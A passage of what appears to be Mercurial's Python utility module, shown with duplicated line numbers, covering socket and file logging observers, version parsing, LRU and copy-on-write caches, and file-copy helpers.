902 902 return
903 903
904 904 if self.logdataapis:
905 905 self.fh.write(
906 906 b'%s> bufferedread(%d) -> %d' % (self.name, size, len(res))
907 907 )
908 908
909 909 self._writedata(res)
910 910
911 911 def bufferedreadline(self, res):
912 912 if not self.reads:
913 913 return
914 914
915 915 if self.logdataapis:
916 916 self.fh.write(
917 917 b'%s> bufferedreadline() -> %d' % (self.name, len(res))
918 918 )
919 919
920 920 self._writedata(res)
921 921
922 922
923 923 def makeloggingfileobject(
924 924 logh, fh, name, reads=True, writes=True, logdata=False, logdataapis=True
925 925 ):
926 926 """Turn a file object into a logging file object."""
927 927
928 928 observer = fileobjectobserver(
929 929 logh,
930 930 name,
931 931 reads=reads,
932 932 writes=writes,
933 933 logdata=logdata,
934 934 logdataapis=logdataapis,
935 935 )
936 936 return fileobjectproxy(fh, observer)
937 937
938 938
939 939 class socketobserver(baseproxyobserver):
940 940 """Logs socket activity."""
941 941
942 942 def __init__(
943 943 self,
944 944 fh,
945 945 name,
946 946 reads=True,
947 947 writes=True,
948 948 states=True,
949 949 logdata=False,
950 950 logdataapis=True,
951 951 ):
952 952 self.fh = fh
953 953 self.name = name
954 954 self.reads = reads
955 955 self.writes = writes
956 956 self.states = states
957 957 self.logdata = logdata
958 958 self.logdataapis = logdataapis
959 959
960 960 def makefile(self, res, mode=None, bufsize=None):
961 961 if not self.states:
962 962 return
963 963
964 964 self.fh.write(b'%s> makefile(%r, %r)\n' % (self.name, mode, bufsize))
965 965
966 966 def recv(self, res, size, flags=0):
967 967 if not self.reads:
968 968 return
969 969
970 970 if self.logdataapis:
971 971 self.fh.write(
972 972 b'%s> recv(%d, %d) -> %d' % (self.name, size, flags, len(res))
973 973 )
974 974 self._writedata(res)
975 975
976 976 def recvfrom(self, res, size, flags=0):
977 977 if not self.reads:
978 978 return
979 979
980 980 if self.logdataapis:
981 981 self.fh.write(
982 982 b'%s> recvfrom(%d, %d) -> %d'
983 983 % (self.name, size, flags, len(res[0]))
984 984 )
985 985
986 986 self._writedata(res[0])
987 987
988 988 def recvfrom_into(self, res, buf, size, flags=0):
989 989 if not self.reads:
990 990 return
991 991
992 992 if self.logdataapis:
993 993 self.fh.write(
994 994 b'%s> recvfrom_into(%d, %d) -> %d'
995 995 % (self.name, size, flags, res[0])
996 996 )
997 997
998 998 self._writedata(buf[0 : res[0]])
999 999
1000 1000 def recv_into(self, res, buf, size=0, flags=0):
1001 1001 if not self.reads:
1002 1002 return
1003 1003
1004 1004 if self.logdataapis:
1005 1005 self.fh.write(
1006 1006 b'%s> recv_into(%d, %d) -> %d' % (self.name, size, flags, res)
1007 1007 )
1008 1008
1009 1009 self._writedata(buf[0:res])
1010 1010
1011 1011 def send(self, res, data, flags=0):
1012 1012 if not self.writes:
1013 1013 return
1014 1014
1015 1015 self.fh.write(
1016 1016 b'%s> send(%d, %d) -> %d' % (self.name, len(data), flags, len(res))
1017 1017 )
1018 1018 self._writedata(data)
1019 1019
1020 1020 def sendall(self, res, data, flags=0):
1021 1021 if not self.writes:
1022 1022 return
1023 1023
1024 1024 if self.logdataapis:
1025 1025 # Returns None on success. So don't bother reporting return value.
1026 1026 self.fh.write(
1027 1027 b'%s> sendall(%d, %d)' % (self.name, len(data), flags)
1028 1028 )
1029 1029
1030 1030 self._writedata(data)
1031 1031
1032 1032 def sendto(self, res, data, flagsoraddress, address=None):
1033 1033 if not self.writes:
1034 1034 return
1035 1035
1036 1036 if address:
1037 1037 flags = flagsoraddress
1038 1038 else:
1039 1039 flags = 0
1040 1040
1041 1041 if self.logdataapis:
1042 1042 self.fh.write(
1043 1043 b'%s> sendto(%d, %d, %r) -> %d'
1044 1044 % (self.name, len(data), flags, address, res)
1045 1045 )
1046 1046
1047 1047 self._writedata(data)
1048 1048
1049 1049 def setblocking(self, res, flag):
1050 1050 if not self.states:
1051 1051 return
1052 1052
1053 1053 self.fh.write(b'%s> setblocking(%r)\n' % (self.name, flag))
1054 1054
1055 1055 def settimeout(self, res, value):
1056 1056 if not self.states:
1057 1057 return
1058 1058
1059 1059 self.fh.write(b'%s> settimeout(%r)\n' % (self.name, value))
1060 1060
1061 1061 def gettimeout(self, res):
1062 1062 if not self.states:
1063 1063 return
1064 1064
1065 1065 self.fh.write(b'%s> gettimeout() -> %f\n' % (self.name, res))
1066 1066
1067 1067 def setsockopt(self, res, level, optname, value):
1068 1068 if not self.states:
1069 1069 return
1070 1070
1071 1071 self.fh.write(
1072 1072 b'%s> setsockopt(%r, %r, %r) -> %r\n'
1073 1073 % (self.name, level, optname, value, res)
1074 1074 )
1075 1075
1076 1076
1077 1077 def makeloggingsocket(
1078 1078 logh,
1079 1079 fh,
1080 1080 name,
1081 1081 reads=True,
1082 1082 writes=True,
1083 1083 states=True,
1084 1084 logdata=False,
1085 1085 logdataapis=True,
1086 1086 ):
1087 1087 """Turn a socket into a logging socket."""
1088 1088
1089 1089 observer = socketobserver(
1090 1090 logh,
1091 1091 name,
1092 1092 reads=reads,
1093 1093 writes=writes,
1094 1094 states=states,
1095 1095 logdata=logdata,
1096 1096 logdataapis=logdataapis,
1097 1097 )
1098 1098 return socketproxy(fh, observer)
1099 1099
1100 1100
1101 1101 def version():
1102 1102 """Return version information if available."""
1103 1103 try:
1104 1104 from . import __version__
1105 1105
1106 1106 return __version__.version
1107 1107 except ImportError:
1108 1108 return b'unknown'
1109 1109
1110 1110
1111 1111 def versiontuple(v=None, n=4):
1112 1112 """Parses a Mercurial version string into an N-tuple.
1113 1113
1114 1114 The version string to be parsed is specified with the ``v`` argument.
1115 1115 If it isn't defined, the current Mercurial version string will be parsed.
1116 1116
1117 1117 ``n`` can be 2, 3, or 4. Here is how some version strings map to
1118 1118 returned values:
1119 1119
1120 1120 >>> v = b'3.6.1+190-df9b73d2d444'
1121 1121 >>> versiontuple(v, 2)
1122 1122 (3, 6)
1123 1123 >>> versiontuple(v, 3)
1124 1124 (3, 6, 1)
1125 1125 >>> versiontuple(v, 4)
1126 1126 (3, 6, 1, '190-df9b73d2d444')
1127 1127
1128 1128 >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118')
1129 1129 (3, 6, 1, '190-df9b73d2d444+20151118')
1130 1130
1131 1131 >>> v = b'3.6'
1132 1132 >>> versiontuple(v, 2)
1133 1133 (3, 6)
1134 1134 >>> versiontuple(v, 3)
1135 1135 (3, 6, None)
1136 1136 >>> versiontuple(v, 4)
1137 1137 (3, 6, None, None)
1138 1138
1139 1139 >>> v = b'3.9-rc'
1140 1140 >>> versiontuple(v, 2)
1141 1141 (3, 9)
1142 1142 >>> versiontuple(v, 3)
1143 1143 (3, 9, None)
1144 1144 >>> versiontuple(v, 4)
1145 1145 (3, 9, None, 'rc')
1146 1146
1147 1147 >>> v = b'3.9-rc+2-02a8fea4289b'
1148 1148 >>> versiontuple(v, 2)
1149 1149 (3, 9)
1150 1150 >>> versiontuple(v, 3)
1151 1151 (3, 9, None)
1152 1152 >>> versiontuple(v, 4)
1153 1153 (3, 9, None, 'rc+2-02a8fea4289b')
1154 1154
1155 1155 >>> versiontuple(b'4.6rc0')
1156 1156 (4, 6, None, 'rc0')
1157 1157 >>> versiontuple(b'4.6rc0+12-425d55e54f98')
1158 1158 (4, 6, None, 'rc0+12-425d55e54f98')
1159 1159 >>> versiontuple(b'.1.2.3')
1160 1160 (None, None, None, '.1.2.3')
1161 1161 >>> versiontuple(b'12.34..5')
1162 1162 (12, 34, None, '..5')
1163 1163 >>> versiontuple(b'1.2.3.4.5.6')
1164 1164 (1, 2, 3, '.4.5.6')
1165 1165 """
1166 1166 if not v:
1167 1167 v = version()
1168 1168 m = remod.match(br'(\d+(?:\.\d+){,2})[\+-]?(.*)', v)
1169 1169 if not m:
1170 1170 vparts, extra = b'', v
1171 1171 elif m.group(2):
1172 1172 vparts, extra = m.groups()
1173 1173 else:
1174 1174 vparts, extra = m.group(1), None
1175 1175
1176 1176 vints = []
1177 1177 for i in vparts.split(b'.'):
1178 1178 try:
1179 1179 vints.append(int(i))
1180 1180 except ValueError:
1181 1181 break
1182 1182 # (3, 6) -> (3, 6, None)
1183 1183 while len(vints) < 3:
1184 1184 vints.append(None)
1185 1185
1186 1186 if n == 2:
1187 1187 return (vints[0], vints[1])
1188 1188 if n == 3:
1189 1189 return (vints[0], vints[1], vints[2])
1190 1190 if n == 4:
1191 1191 return (vints[0], vints[1], vints[2], extra)
1192 1192
1193 1193
1194 1194 def cachefunc(func):
1195 1195 '''cache the result of function calls'''
1196 1196 # XXX doesn't handle keywords args
1197 1197 if func.__code__.co_argcount == 0:
1198 1198 cache = []
1199 1199
1200 1200 def f():
1201 1201 if len(cache) == 0:
1202 1202 cache.append(func())
1203 1203 return cache[0]
1204 1204
1205 1205 return f
1206 1206 cache = {}
1207 1207 if func.__code__.co_argcount == 1:
1208 1208 # we gain a small amount of time because
1209 1209 # we don't need to pack/unpack the list
1210 1210 def f(arg):
1211 1211 if arg not in cache:
1212 1212 cache[arg] = func(arg)
1213 1213 return cache[arg]
1214 1214
1215 1215 else:
1216 1216
1217 1217 def f(*args):
1218 1218 if args not in cache:
1219 1219 cache[args] = func(*args)
1220 1220 return cache[args]
1221 1221
1222 1222 return f
1223 1223
1224 1224
1225 1225 class cow(object):
1226 1226 """helper class to make copy-on-write easier
1227 1227
1228 1228 Call preparewrite before doing any writes.
1229 1229 """
1230 1230
1231 1231 def preparewrite(self):
1232 1232 """call this before writes, return self or a copied new object"""
1233 1233 if getattr(self, '_copied', 0):
1234 1234 self._copied -= 1
1235 1235 return self.__class__(self)
1236 1236 return self
1237 1237
1238 1238 def copy(self):
1239 1239 """always do a cheap copy"""
1240 1240 self._copied = getattr(self, '_copied', 0) + 1
1241 1241 return self
1242 1242
1243 1243
1244 1244 class sortdict(collections.OrderedDict):
1245 1245 '''a simple sorted dictionary
1246 1246
1247 1247 >>> d1 = sortdict([(b'a', 0), (b'b', 1)])
1248 1248 >>> d2 = d1.copy()
1249 1249 >>> d2
1250 1250 sortdict([('a', 0), ('b', 1)])
1251 1251 >>> d2.update([(b'a', 2)])
1252 1252 >>> list(d2.keys()) # should still be in last-set order
1253 1253 ['b', 'a']
1254 1254 '''
1255 1255
1256 1256 def __setitem__(self, key, value):
1257 1257 if key in self:
1258 1258 del self[key]
1259 1259 super(sortdict, self).__setitem__(key, value)
1260 1260
1261 1261 if pycompat.ispypy:
1262 1262 # __setitem__() isn't called as of PyPy 5.8.0
1263 1263 def update(self, src):
1264 1264 if isinstance(src, dict):
1265 1265 src = pycompat.iteritems(src)
1266 1266 for k, v in src:
1267 1267 self[k] = v
1268 1268
1269 1269
1270 1270 class cowdict(cow, dict):
1271 1271 """copy-on-write dict
1272 1272
1273 1273 Be sure to call d = d.preparewrite() before writing to d.
1274 1274
1275 1275 >>> a = cowdict()
1276 1276 >>> a is a.preparewrite()
1277 1277 True
1278 1278 >>> b = a.copy()
1279 1279 >>> b is a
1280 1280 True
1281 1281 >>> c = b.copy()
1282 1282 >>> c is a
1283 1283 True
1284 1284 >>> a = a.preparewrite()
1285 1285 >>> b is a
1286 1286 False
1287 1287 >>> a is a.preparewrite()
1288 1288 True
1289 1289 >>> c = c.preparewrite()
1290 1290 >>> b is c
1291 1291 False
1292 1292 >>> b is b.preparewrite()
1293 1293 True
1294 1294 """
1295 1295
1296 1296
1297 1297 class cowsortdict(cow, sortdict):
1298 1298 """copy-on-write sortdict
1299 1299
1300 1300 Be sure to call d = d.preparewrite() before writing to d.
1301 1301 """
1302 1302
1303 1303
1304 1304 class transactional(object): # pytype: disable=ignored-metaclass
1305 1305 """Base class for making a transactional type into a context manager."""
1306 1306
1307 1307 __metaclass__ = abc.ABCMeta
1308 1308
1309 1309 @abc.abstractmethod
1310 1310 def close(self):
1311 1311 """Successfully closes the transaction."""
1312 1312
1313 1313 @abc.abstractmethod
1314 1314 def release(self):
1315 1315 """Marks the end of the transaction.
1316 1316
1317 1317 If the transaction has not been closed, it will be aborted.
1318 1318 """
1319 1319
1320 1320 def __enter__(self):
1321 1321 return self
1322 1322
1323 1323 def __exit__(self, exc_type, exc_val, exc_tb):
1324 1324 try:
1325 1325 if exc_type is None:
1326 1326 self.close()
1327 1327 finally:
1328 1328 self.release()
1329 1329
1330 1330
1331 1331 @contextlib.contextmanager
1332 1332 def acceptintervention(tr=None):
1333 1333 """A context manager that closes the transaction on InterventionRequired
1334 1334
1335 1335 If no transaction was provided, this simply runs the body and returns
1336 1336 """
1337 1337 if not tr:
1338 1338 yield
1339 1339 return
1340 1340 try:
1341 1341 yield
1342 1342 tr.close()
1343 1343 except error.InterventionRequired:
1344 1344 tr.close()
1345 1345 raise
1346 1346 finally:
1347 1347 tr.release()
1348 1348
1349 1349
1350 1350 @contextlib.contextmanager
1351 1351 def nullcontextmanager():
1352 1352 yield
1353 1353
1354 1354
1355 1355 class _lrucachenode(object):
1356 1356 """A node in a doubly linked list.
1357 1357
1358 1358 Holds a reference to nodes on either side as well as a key-value
1359 1359 pair for the dictionary entry.
1360 1360 """
1361 1361
1362 1362 __slots__ = ('next', 'prev', 'key', 'value', 'cost')
1363 1363
1364 1364 def __init__(self):
1365 1365 self.next = None
1366 1366 self.prev = None
1367 1367
1368 1368 self.key = _notset
1369 1369 self.value = None
1370 1370 self.cost = 0
1371 1371
1372 1372 def markempty(self):
1373 1373 """Mark the node as emptied."""
1374 1374 self.key = _notset
1375 1375 self.value = None
1376 1376 self.cost = 0
1377 1377
1378 1378
1379 1379 class lrucachedict(object):
1380 1380 """Dict that caches most recent accesses and sets.
1381 1381
1382 1382 The dict consists of an actual backing dict - indexed by original
1383 1383 key - and a doubly linked circular list defining the order of entries in
1384 1384 the cache.
1385 1385
1386 1386 The head node is the newest entry in the cache. If the cache is full,
1387 1387 we recycle head.prev and make it the new head. Cache accesses result in
1388 1388 the node being moved to before the existing head and being marked as the
1389 1389 new head node.
1390 1390
1391 1391 Items in the cache can be inserted with an optional "cost" value. This is
1392 1392 simply an integer that is specified by the caller. The cache can be queried
1393 1393 for the total cost of all items presently in the cache.
1394 1394
1395 1395 The cache can also define a maximum cost. If a cache insertion would
1396 1396 cause the total cost of the cache to go beyond the maximum cost limit,
1397 1397 nodes will be evicted to make room for the new code. This can be used
1398 1398 to e.g. set a max memory limit and associate an estimated bytes size
1399 1399 cost to each item in the cache. By default, no maximum cost is enforced.
1400 1400 """
1401 1401
1402 1402 def __init__(self, max, maxcost=0):
1403 1403 self._cache = {}
1404 1404
1405 1405 self._head = head = _lrucachenode()
1406 1406 head.prev = head
1407 1407 head.next = head
1408 1408 self._size = 1
1409 1409 self.capacity = max
1410 1410 self.totalcost = 0
1411 1411 self.maxcost = maxcost
1412 1412
1413 1413 def __len__(self):
1414 1414 return len(self._cache)
1415 1415
1416 1416 def __contains__(self, k):
1417 1417 return k in self._cache
1418 1418
1419 1419 def __iter__(self):
1420 1420 # We don't have to iterate in cache order, but why not.
1421 1421 n = self._head
1422 1422 for i in range(len(self._cache)):
1423 1423 yield n.key
1424 1424 n = n.next
1425 1425
1426 1426 def __getitem__(self, k):
1427 1427 node = self._cache[k]
1428 1428 self._movetohead(node)
1429 1429 return node.value
1430 1430
1431 1431 def insert(self, k, v, cost=0):
1432 1432 """Insert a new item in the cache with optional cost value."""
1433 1433 node = self._cache.get(k)
1434 1434 # Replace existing value and mark as newest.
1435 1435 if node is not None:
1436 1436 self.totalcost -= node.cost
1437 1437 node.value = v
1438 1438 node.cost = cost
1439 1439 self.totalcost += cost
1440 1440 self._movetohead(node)
1441 1441
1442 1442 if self.maxcost:
1443 1443 self._enforcecostlimit()
1444 1444
1445 1445 return
1446 1446
1447 1447 if self._size < self.capacity:
1448 1448 node = self._addcapacity()
1449 1449 else:
1450 1450 # Grab the last/oldest item.
1451 1451 node = self._head.prev
1452 1452
1453 1453 # At capacity. Kill the old entry.
1454 1454 if node.key is not _notset:
1455 1455 self.totalcost -= node.cost
1456 1456 del self._cache[node.key]
1457 1457
1458 1458 node.key = k
1459 1459 node.value = v
1460 1460 node.cost = cost
1461 1461 self.totalcost += cost
1462 1462 self._cache[k] = node
1463 1463 # And mark it as newest entry. No need to adjust order since it
1464 1464 # is already self._head.prev.
1465 1465 self._head = node
1466 1466
1467 1467 if self.maxcost:
1468 1468 self._enforcecostlimit()
1469 1469
1470 1470 def __setitem__(self, k, v):
1471 1471 self.insert(k, v)
1472 1472
1473 1473 def __delitem__(self, k):
1474 1474 self.pop(k)
1475 1475
1476 1476 def pop(self, k, default=_notset):
1477 1477 try:
1478 1478 node = self._cache.pop(k)
1479 1479 except KeyError:
1480 1480 if default is _notset:
1481 1481 raise
1482 1482 return default
1483 1483 value = node.value
1484 1484 self.totalcost -= node.cost
1485 1485 node.markempty()
1486 1486
1487 1487 # Temporarily mark as newest item before re-adjusting head to make
1488 1488 # this node the oldest item.
1489 1489 self._movetohead(node)
1490 1490 self._head = node.next
1491 1491
1492 1492 return value
1493 1493
1494 1494 # Additional dict methods.
1495 1495
1496 1496 def get(self, k, default=None):
1497 1497 try:
1498 1498 return self.__getitem__(k)
1499 1499 except KeyError:
1500 1500 return default
1501 1501
1502 1502 def peek(self, k, default=_notset):
1503 1503 """Get the specified item without moving it to the head
1504 1504
1505 1505 Unlike get(), this doesn't mutate the internal state. But be aware
1506 1506 that it doesn't mean peek() is thread safe.
1507 1507 """
1508 1508 try:
1509 1509 node = self._cache[k]
1510 1510 return node.value
1511 1511 except KeyError:
1512 1512 if default is _notset:
1513 1513 raise
1514 1514 return default
1515 1515
1516 1516 def clear(self):
1517 1517 n = self._head
1518 1518 while n.key is not _notset:
1519 1519 self.totalcost -= n.cost
1520 1520 n.markempty()
1521 1521 n = n.next
1522 1522
1523 1523 self._cache.clear()
1524 1524
1525 1525 def copy(self, capacity=None, maxcost=0):
1526 1526 """Create a new cache as a copy of the current one.
1527 1527
1528 1528 By default, the new cache has the same capacity as the existing one.
1529 1529 But, the cache capacity can be changed as part of performing the
1530 1530 copy.
1531 1531
1532 1532 Items in the copy have an insertion/access order matching this
1533 1533 instance.
1534 1534 """
1535 1535
1536 1536 capacity = capacity or self.capacity
1537 1537 maxcost = maxcost or self.maxcost
1538 1538 result = lrucachedict(capacity, maxcost=maxcost)
1539 1539
1540 1540 # We copy entries by iterating in oldest-to-newest order so the copy
1541 1541 # has the correct ordering.
1542 1542
1543 1543 # Find the first non-empty entry.
1544 1544 n = self._head.prev
1545 1545 while n.key is _notset and n is not self._head:
1546 1546 n = n.prev
1547 1547
1548 1548 # We could potentially skip the first N items when decreasing capacity.
1549 1549 # But let's keep it simple unless it is a performance problem.
1550 1550 for i in range(len(self._cache)):
1551 1551 result.insert(n.key, n.value, cost=n.cost)
1552 1552 n = n.prev
1553 1553
1554 1554 return result
1555 1555
1556 1556 def popoldest(self):
1557 1557 """Remove the oldest item from the cache.
1558 1558
1559 1559 Returns the (key, value) describing the removed cache entry.
1560 1560 """
1561 1561 if not self._cache:
1562 1562 return
1563 1563
1564 1564 # Walk the linked list backwards starting at tail node until we hit
1565 1565 # a non-empty node.
1566 1566 n = self._head.prev
1567 1567 while n.key is _notset:
1568 1568 n = n.prev
1569 1569
1570 1570 key, value = n.key, n.value
1571 1571
1572 1572 # And remove it from the cache and mark it as empty.
1573 1573 del self._cache[n.key]
1574 1574 self.totalcost -= n.cost
1575 1575 n.markempty()
1576 1576
1577 1577 return key, value
1578 1578
1579 1579 def _movetohead(self, node):
1580 1580 """Mark a node as the newest, making it the new head.
1581 1581
1582 1582 When a node is accessed, it becomes the freshest entry in the LRU
1583 1583 list, which is denoted by self._head.
1584 1584
1585 1585 Visually, let's make ``N`` the new head node (* denotes head):
1586 1586
1587 1587 previous/oldest <-> head <-> next/next newest
1588 1588
1589 1589 ----<->--- A* ---<->-----
1590 1590 | |
1591 1591 E <-> D <-> N <-> C <-> B
1592 1592
1593 1593 To:
1594 1594
1595 1595 ----<->--- N* ---<->-----
1596 1596 | |
1597 1597 E <-> D <-> C <-> B <-> A
1598 1598
1599 1599 This requires the following moves:
1600 1600
1601 1601 C.next = D (node.prev.next = node.next)
1602 1602 D.prev = C (node.next.prev = node.prev)
1603 1603 E.next = N (head.prev.next = node)
1604 1604 N.prev = E (node.prev = head.prev)
1605 1605 N.next = A (node.next = head)
1606 1606 A.prev = N (head.prev = node)
1607 1607 """
1608 1608 head = self._head
1609 1609 # C.next = D
1610 1610 node.prev.next = node.next
1611 1611 # D.prev = C
1612 1612 node.next.prev = node.prev
1613 1613 # N.prev = E
1614 1614 node.prev = head.prev
1615 1615 # N.next = A
1616 1616 # It is tempting to do just "head" here, however if node is
1617 1617 # adjacent to head, this will do bad things.
1618 1618 node.next = head.prev.next
1619 1619 # E.next = N
1620 1620 node.next.prev = node
1621 1621 # A.prev = N
1622 1622 node.prev.next = node
1623 1623
1624 1624 self._head = node
1625 1625
1626 1626 def _addcapacity(self):
1627 1627 """Add a node to the circular linked list.
1628 1628
1629 1629 The new node is inserted before the head node.
1630 1630 """
1631 1631 head = self._head
1632 1632 node = _lrucachenode()
1633 1633 head.prev.next = node
1634 1634 node.prev = head.prev
1635 1635 node.next = head
1636 1636 head.prev = node
1637 1637 self._size += 1
1638 1638 return node
1639 1639
1640 1640 def _enforcecostlimit(self):
1641 1641 # This should run after an insertion. It should only be called if total
1642 1642 # cost limits are being enforced.
1643 1643 # The most recently inserted node is never evicted.
1644 1644 if len(self) <= 1 or self.totalcost <= self.maxcost:
1645 1645 return
1646 1646
1647 1647 # This is logically equivalent to calling popoldest() until we
1648 1648 # free up enough cost. We don't do that since popoldest() needs
1649 1649 # to walk the linked list and doing this in a loop would be
1650 1650 # quadratic. So we find the first non-empty node and then
1651 1651 # walk nodes until we free up enough capacity.
1652 1652 #
1653 1653 # If we only removed the minimum number of nodes to free enough
1654 1654 # cost at insert time, chances are high that the next insert would
1655 1655 # also require pruning. This would effectively constitute quadratic
1656 1656 # behavior for insert-heavy workloads. To mitigate this, we set a
1657 1657 # target cost that is a percentage of the max cost. This will tend
1658 1658 # to free more nodes when the high water mark is reached, which
1659 1659 # lowers the chances of needing to prune on the subsequent insert.
1660 1660 targetcost = int(self.maxcost * 0.75)
1661 1661
1662 1662 n = self._head.prev
1663 1663 while n.key is _notset:
1664 1664 n = n.prev
1665 1665
1666 1666 while len(self) > 1 and self.totalcost > targetcost:
1667 1667 del self._cache[n.key]
1668 1668 self.totalcost -= n.cost
1669 1669 n.markempty()
1670 1670 n = n.prev
1671 1671
1672 1672
1673 1673 def lrucachefunc(func):
1674 1674 '''cache most recent results of function calls'''
1675 1675 cache = {}
1676 1676 order = collections.deque()
1677 1677 if func.__code__.co_argcount == 1:
1678 1678
1679 1679 def f(arg):
1680 1680 if arg not in cache:
1681 1681 if len(cache) > 20:
1682 1682 del cache[order.popleft()]
1683 1683 cache[arg] = func(arg)
1684 1684 else:
1685 1685 order.remove(arg)
1686 1686 order.append(arg)
1687 1687 return cache[arg]
1688 1688
1689 1689 else:
1690 1690
1691 1691 def f(*args):
1692 1692 if args not in cache:
1693 1693 if len(cache) > 20:
1694 1694 del cache[order.popleft()]
1695 1695 cache[args] = func(*args)
1696 1696 else:
1697 1697 order.remove(args)
1698 1698 order.append(args)
1699 1699 return cache[args]
1700 1700
1701 1701 return f
1702 1702
1703 1703
1704 1704 class propertycache(object):
1705 1705 def __init__(self, func):
1706 1706 self.func = func
1707 1707 self.name = func.__name__
1708 1708
1709 1709 def __get__(self, obj, type=None):
1710 1710 result = self.func(obj)
1711 1711 self.cachevalue(obj, result)
1712 1712 return result
1713 1713
1714 1714 def cachevalue(self, obj, value):
1715 1715 # __dict__ assignment required to bypass __setattr__ (eg: repoview)
1716 1716 obj.__dict__[self.name] = value
1717 1717
1718 1718
1719 1719 def clearcachedproperty(obj, prop):
1720 1720 '''clear a cached property value, if one has been set'''
1721 1721 prop = pycompat.sysstr(prop)
1722 1722 if prop in obj.__dict__:
1723 1723 del obj.__dict__[prop]
1724 1724
1725 1725
1726 1726 def increasingchunks(source, min=1024, max=65536):
1727 1727 '''return no less than min bytes per chunk while data remains,
1728 1728 doubling min after each chunk until it reaches max'''
1729 1729
1730 1730 def log2(x):
1731 1731 if not x:
1732 1732 return 0
1733 1733 i = 0
1734 1734 while x:
1735 1735 x >>= 1
1736 1736 i += 1
1737 1737 return i - 1
1738 1738
1739 1739 buf = []
1740 1740 blen = 0
1741 1741 for chunk in source:
1742 1742 buf.append(chunk)
1743 1743 blen += len(chunk)
1744 1744 if blen >= min:
1745 1745 if min < max:
1746 1746 min = min << 1
1747 1747 nmin = 1 << log2(blen)
1748 1748 if nmin > min:
1749 1749 min = nmin
1750 1750 if min > max:
1751 1751 min = max
1752 1752 yield b''.join(buf)
1753 1753 blen = 0
1754 1754 buf = []
1755 1755 if buf:
1756 1756 yield b''.join(buf)
1757 1757
1758 1758
1759 1759 def always(fn):
1760 1760 return True
1761 1761
1762 1762
1763 1763 def never(fn):
1764 1764 return False
1765 1765
1766 1766
1767 1767 def nogc(func):
1768 1768 """disable garbage collector
1769 1769
1770 1770 Python's garbage collector triggers a GC each time a certain number of
1771 1771 container objects (the number being defined by gc.get_threshold()) are
1772 1772 allocated even when marked not to be tracked by the collector. Tracking has
1773 1773 no effect on when GCs are triggered, only on what objects the GC looks
1774 1774 into. As a workaround, disable GC while building complex (huge)
1775 1775 containers.
1776 1776
1777 1777 This garbage collector issue have been fixed in 2.7. But it still affect
1778 1778 CPython's performance.
1779 1779 """
1780 1780
1781 1781 def wrapper(*args, **kwargs):
1782 1782 gcenabled = gc.isenabled()
1783 1783 gc.disable()
1784 1784 try:
1785 1785 return func(*args, **kwargs)
1786 1786 finally:
1787 1787 if gcenabled:
1788 1788 gc.enable()
1789 1789
1790 1790 return wrapper
1791 1791
1792 1792
1793 1793 if pycompat.ispypy:
1794 1794 # PyPy runs slower with gc disabled
1795 1795 nogc = lambda x: x
1796 1796
1797 1797
1798 1798 def pathto(root, n1, n2):
1799 1799 '''return the relative path from one place to another.
1800 1800 root should use os.sep to separate directories
1801 1801 n1 should use os.sep to separate directories
1802 1802 n2 should use "/" to separate directories
1803 1803 returns an os.sep-separated path.
1804 1804
1805 1805 If n1 is a relative path, it's assumed it's
1806 1806 relative to root.
1807 1807 n2 should always be relative to root.
1808 1808 '''
1809 1809 if not n1:
1810 1810 return localpath(n2)
1811 1811 if os.path.isabs(n1):
1812 1812 if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
1813 1813 return os.path.join(root, localpath(n2))
1814 1814 n2 = b'/'.join((pconvert(root), n2))
1815 1815 a, b = splitpath(n1), n2.split(b'/')
1816 1816 a.reverse()
1817 1817 b.reverse()
1818 1818 while a and b and a[-1] == b[-1]:
1819 1819 a.pop()
1820 1820 b.pop()
1821 1821 b.reverse()
1822 1822 return pycompat.ossep.join(([b'..'] * len(a)) + b) or b'.'
1823 1823
1824 1824
1825 1825 # the location of data files matching the source code
1826 1826 if procutil.mainfrozen() and getattr(sys, 'frozen', None) != b'macosx_app':
1827 1827 # executable version (py2exe) doesn't support __file__
1828 1828 datapath = os.path.dirname(pycompat.sysexecutable)
1829 1829 else:
1830 1830 datapath = os.path.dirname(pycompat.fsencode(__file__))
1831 1831
1832 1832 i18n.setdatapath(datapath)
1833 1833
1834 1834
1835 1835 def checksignature(func):
1836 1836 '''wrap a function with code to check for calling errors'''
1837 1837
1838 1838 def check(*args, **kwargs):
1839 1839 try:
1840 1840 return func(*args, **kwargs)
1841 1841 except TypeError:
1842 1842 if len(traceback.extract_tb(sys.exc_info()[2])) == 1:
1843 1843 raise error.SignatureError
1844 1844 raise
1845 1845
1846 1846 return check
1847 1847
1848 1848
1849 1849 # a whilelist of known filesystems where hardlink works reliably
1850 1850 _hardlinkfswhitelist = {
1851 1851 b'apfs',
1852 1852 b'btrfs',
1853 1853 b'ext2',
1854 1854 b'ext3',
1855 1855 b'ext4',
1856 1856 b'hfs',
1857 1857 b'jfs',
1858 1858 b'NTFS',
1859 1859 b'reiserfs',
1860 1860 b'tmpfs',
1861 1861 b'ufs',
1862 1862 b'xfs',
1863 1863 b'zfs',
1864 1864 }
1865 1865
1866 1866
1867 1867 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
1868 1868 '''copy a file, preserving mode and optionally other stat info like
1869 1869 atime/mtime
1870 1870
1871 1871 checkambig argument is used with filestat, and is useful only if
1872 1872 destination file is guarded by any lock (e.g. repo.lock or
1873 1873 repo.wlock).
1874 1874
1875 1875 copystat and checkambig should be exclusive.
1876 1876 '''
1877 1877 assert not (copystat and checkambig)
1878 1878 oldstat = None
1879 1879 if os.path.lexists(dest):
1880 1880 if checkambig:
1881 1881 oldstat = checkambig and filestat.frompath(dest)
1882 1882 unlink(dest)
1883 1883 if hardlink:
1884 1884 # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
1885 1885 # unless we are confident that dest is on a whitelisted filesystem.
1886 1886 try:
1887 1887 fstype = getfstype(os.path.dirname(dest))
1888 1888 except OSError:
1889 1889 fstype = None
1890 1890 if fstype not in _hardlinkfswhitelist:
1891 1891 hardlink = False
1892 1892 if hardlink:
1893 1893 try:
1894 1894 oslink(src, dest)
1895 1895 return
1896 1896 except (IOError, OSError):
1897 1897 pass # fall back to normal copy
1898 1898 if os.path.islink(src):
1899 1899 os.symlink(os.readlink(src), dest)
1900 1900 # copytime is ignored for symlinks, but in general copytime isn't needed
1901 1901 # for them anyway
1902 1902 else:
1903 1903 try:
1904 1904 shutil.copyfile(src, dest)
1905 1905 if copystat:
1906 1906 # copystat also copies mode
1907 1907 shutil.copystat(src, dest)
1908 1908 else:
1909 1909 shutil.copymode(src, dest)
1910 1910 if oldstat and oldstat.stat:
1911 1911 newstat = filestat.frompath(dest)
